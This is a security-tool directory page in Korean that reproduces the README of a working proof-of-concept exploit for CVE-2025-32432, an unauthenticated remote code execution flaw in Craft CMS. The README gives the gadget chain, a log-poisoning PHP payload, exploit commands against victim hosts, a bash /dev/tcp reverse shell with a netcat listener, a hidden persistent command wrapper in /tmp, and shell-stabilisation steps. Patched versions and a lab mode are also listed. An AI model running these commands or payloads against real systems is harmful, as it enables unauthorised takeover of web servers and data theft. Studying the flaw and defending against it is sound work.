Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-32432 — CVE-2025-32432에 대한 동작 PoC - Yii2 PhpManager 가젯 + nginx access.log 포이즈닝을 통한 Craft CMS <= 5.6.16 비인증 RCE | Kitploit
도구/GitHubGitHub/cd-ratel/cve-2025-32432
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationPayload Development
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

CVE-2025-32432에 대한 동작 PoC - Yii2 PhpManager 가젯 + nginx access.log 포이즈닝을 통한 Craft CMS <= 5.6.16 비인증 RCE

저장소 보기
21365개월 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-32432 - Craft CMS 무인증 RCE PoC

CVE-2025-32432에 대한 동작하는 개념 증명(PoC)으로, Craft CMS 5.6.16 이하 버전에 영향을 주는 무인증 원격 코드 실행(RCE) 취약점입니다 (동등한 코드 경로의 4.x 및 3.x 트리에도 영향을 줍니다).

검색 키워드: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


TL;DR

git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

기본 모드는 vanilla Craft CMS 설치를 대상으로 합니다. --lab 플래그는 hacklab-platform 프로젝트의 carangueijada-20 챌린지를 위해 포함되어 있으며, 해당 챌린지는 Craft를 사용자 정의 세션 쿠키 뒤에서 보호합니다.


취약점

영향받는 구성 요소: craft\controllers\AssetsController::actionGenerateTransform.

이 액션은 allowAnonymous로 등록되어 있어 인증이 필요하지 않습니다. POST 매개변수 handle을 받아 이를 Craft::createObject() 호출에 전개(spread) 합니다:

$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

공격자가 제어하는 $handle이 연관 배열인 경우, 전개는 생성자 구성에 임의의 키를 주입합니다. 특히 as 로 시작하는 키는 yii\base\Component::__set에 의해 동작(behavior) 첨부로 해석되며, 타입 검사가 이루어지기 전에 값에 대해 Yii::createObject($config)를 호출합니다:

elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

Yii2 2.0.50의 수정은 이 분기를 보호하는 is_subclass_of($value['class'], Behavior::class) 검사를 추가했습니다. 취약한 설치 환경(Yii2 <= 2.0.49, 또는 이전 패치로 검사가 제거된 환경)은 이 보호를 완전히 건너뜁니다.

가젯(Gadget): yii\rbac\PhpManager

PhpManager는 Yii2의 기본 클래스입니다. init()은 load()를 호출하고, load()는 loadFromFile($this->itemFile)을 호출합니다. loadFromFile은 문자 그대로 다음과 같습니다:

protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require는 디스크의 모든 파일을 PHP로 파싱합니다. 파일에 <?php ... ?> 블록이 포함되어 있으면 해당 블록이 워커에서 실행됩니다. itemFile을 공격자가 내용을 제어하는 파일로 지정하면 완전한 RCE가 달성됩니다.

싱크(Sink): nginx access.log

설치 환경을 가리지 않고 신뢰할 수 있는 싱크는 nginx 결합 형식(combined format)의 access.log입니다. 이 로그는 요청의 User-Agent를 비출력 문자와 대부분의 문장 부호를 포함하여 있는 그대로 기록합니다. 공격자는 User-Agent가 <?php system('id'); exit; ?>인 요청을 보내 알려진 경로에 PHP 블록을 심습니다. 그런 다음 itemFile을 /var/log/nginx/access.log로 지정하면 require가 로그를 파싱하여 모든 <?php ... ?> 블록을 순서대로 실행합니다.

두 가지 세부 사항이 중요합니다:

  1. 페이로드에 큰따옴표를 사용하지 마십시오. nginx는 결합 형식에서 "를 \x22로 이스케이프하며, 이로 인해 해당 줄의 PHP 파싱이 깨집니다. 작은따옴표 또는 chr() 연결을 사용하세요.
  2. 끝에 exit;을 추가하여 require가 다른 잘못된 페이로드를 포함할 수 있는 이후 로그 줄을 파싱하기 전에 중단되도록 하십시오.

영향받는 버전

구성 요소취약 버전패치 버전
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50

Craft 5.6.17은 변환기(transformer) 클래스에 ImageTransformerInterface 검사를 추가합니다. Yii2 2.0.50은 Component::__set에 Behavior 하위 클래스 검사를 추가합니다. 두 수정 중 하나만으로도 이 정확한 가젯 체인을 차단합니다.


요구 사항

  • Python 3.8+
  • requests 라이브러리 (pip install -r requirements.txt)
  • 대상 HTTP(S) 엔드포인트에 대한 네트워크 연결 가능
  • 대상에서 유효한 Craft assetId. 기본값은 2이며, 필요한 경우 -a <id>로 재정의합니다 (asset id 1은 보통 관리자 아바타입니다).

사용법

vanilla Craft CMS

python3 exploit.py -u http://victim.tld -c 'id'

경로 접두사 아래에 마운트된 Craft

python3 exploit.py -u http://victim.tld -p /cms -c 'id'

사용자 정의 asset ID

python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

사용자 정의 itemFile (다른 로그 경로, FPM 세션 등)

python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

랩 모드 (carangueijada-20 챌린지)

hacklab-platform의 carangueijada-20 랩은 PATCH /login이 발급하는 coopsess 쿠키 뒤에서 Craft 설치를 보호합니다. --lab 플래그가 이 핸드셰이크를 자동으로 처리합니다.

python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

www.carangueijada.coop이 랩 IP로 해석되는지 확인하십시오 (필요 시 /etc/hosts에 추가).

리버스 셸

--revshell 플래그는 bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 커넥트백을 실행하며, 가젯 POST가 즉시 반환되도록 백그라운드로 실행됩니다.

2-터미널 방식 (가장 안정적):

# 터미널 1 - 사용자 머신에서 리스너 실행
nc -lvnp 4444

# 터미널 2 - 익스플로잇 실행
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

내장 리스너를 사용한 1-터미널 방식:

python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen은 페이로드를 발사하기 전에 같은 터미널에서 nc -lvnp <lport>를 실행합니다. 작업이 끝나면 Ctrl+C로 종료합니다.

샘플 세션 (랩):

$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*]     coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell fired.

# 리스너에서:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

셸 안정화 (연결 후 리버스 셸 내부에서 실행):

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z로 nc를 백그라운드로 전환
stty raw -echo; fg
# Enter 두 번 입력
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

멱등성(idempotency) 작동 방식

첫 실행에서 익스플로잇은 access.log를 한 번 오염시켜 /tmp/.cve32432_w.php에 숨겨진 PHP 래퍼를 생성합니다. 래퍼는 X-Cmd HTTP 헤더를 읽고 system($_SERVER['HTTP_X_CMD'])를 실행합니다. 이후의 모든 전달은 itemFile을 래퍼 파일로 지정하고 헤더를 통해 명령을 전달합니다. 더 이상 로그 중독(poisoning)도, 로그 폴리루션도, "첫 <?php exit; 블록이 이긴다"는 실패도 없습니다.

재생성을 강제하려면 대상에서 /tmp/.cve32432_w.php를 삭제하십시오 (래퍼 자체를 통해 수행할 수 있습니다: --cmd 'rm /tmp/.cve32432_w.php').


샘플 출력

새 대상에 대한 성공적인 실행:

[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*]     CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*]     poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

오염된 로그 폴백 (대상이 이전에 이미 익스플로잇된 적이 있어 이전 페이로드가 먼저 종료되는 경우):

[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

체인이 실제로 발화되는 과정

  1. POST /actions/assets/generate-transform이 AssetsController::actionGenerateTransform에 도달합니다.
  2. 핸들러가 $config = ['class' => ImageTransform::class, ...$handle]를 구성합니다. 우리의 handle[as gadget]은 전개 과정에서 살아남습니다.
  3. Craft::createObject($config)는 Yii::$container->get(ImageTransform::class, [], $config)를 호출하며, 이는 ImageTransform을 인스턴스화하고 남은 각 구성 키를 $transform->{$key} = $value로 기록합니다.
  4. 파서가 as gadget에 도달하면 Component::__set이 as 접두사를 매칭하여 Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log'])를 호출합니다.
  5. Yii::createObject는 PhpManager를 생성하고 __construct()를 실행한 다음 init()을 실행합니다.
  6. PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'.
  7. PHP가 로그 파일을 파싱합니다. PHP가 아닌 텍스트는 stdout으로 출력되며(HTTP 응답 본문에 포함됨), <?php ... ?> 블록은 워커에서 실행됩니다.
  8. 우리가 심은 페이로드가 system($cmd)와 exit;을 실행합니다. 출력은 <?php 블록이 텍스트상 위치했던 응답 본문에 나타납니다.

문제 해결

도구 다운로드